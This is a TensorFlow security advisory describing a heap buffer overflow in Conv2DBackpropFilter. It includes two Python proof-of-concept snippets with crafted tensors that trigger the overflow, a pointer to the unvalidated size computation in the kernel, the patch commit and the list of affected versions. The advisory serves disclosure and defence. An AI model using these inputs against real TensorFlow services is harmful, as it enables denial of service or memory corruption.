Heap buffer overflow in `Conv2DBackpropFilter`
### Impact
An attacker can cause a heap buffer overflow to occur in `Conv2DBackpropFilter`:
```python
import tensorflow as tf
input_tensor = tf.constant([386.078431372549, 386.07843139643234],
shape=[1, 1, 1, 2], dtype=tf.float32)
filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([386.078431372549], shape=[1, 1, 1, 1],
dtype=tf.float32)
tf.raw_ops.Conv2DBackpropFilter(
input=input_tensor,
filter_sizes=filter_sizes,
out_backprop=out_backprop,
strides=[1, 66, 49, 1],
use_cudnn_on_gpu=True,
padding='VALID',
explicit_paddings=[],
data_format='NHWC',
dilations=[1, 1, 1, 1]
)
```
Alternatively, passing empty tensors also results in similar behavior:
```python
import tensorflow as tf
input_tensor = tf.constant([], shape=[0, 1, 1, 5], dtype=tf.float32)
filter_sizes = tf.constant([3, 8, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 1, 1, 1], dtype=tf.float32)
tf.raw_ops.Conv2DBackpropFilter(
input=input_tensor,
filter_sizes=filter_sizes,
out_backprop=out_backprop,
strides=[1, 66, 49, 1],
use_cudnn_on_gpu=True,
padding='VALID',
explicit_paddings=[],
data_format='NHWC',
dilations=[1, 1, 1, 1]
)
```
This is because the implementation
https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L495-L497 computes the size of the filter tensor but does not validate that it matches the number of elements in `filter_sizes`. Later, when reading/writing to this buffer, code uses the value computed here, instead of the number of elements in the tensor.
### Patches
We have patched the issue in GitHub commit c570e2ecfc822941335ad48f6e10df4e21f11c96
https://github.com/tensorflow/tensorflow/commit/c570e2ecfc822941335ad48f6e10df4e21f11c96.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.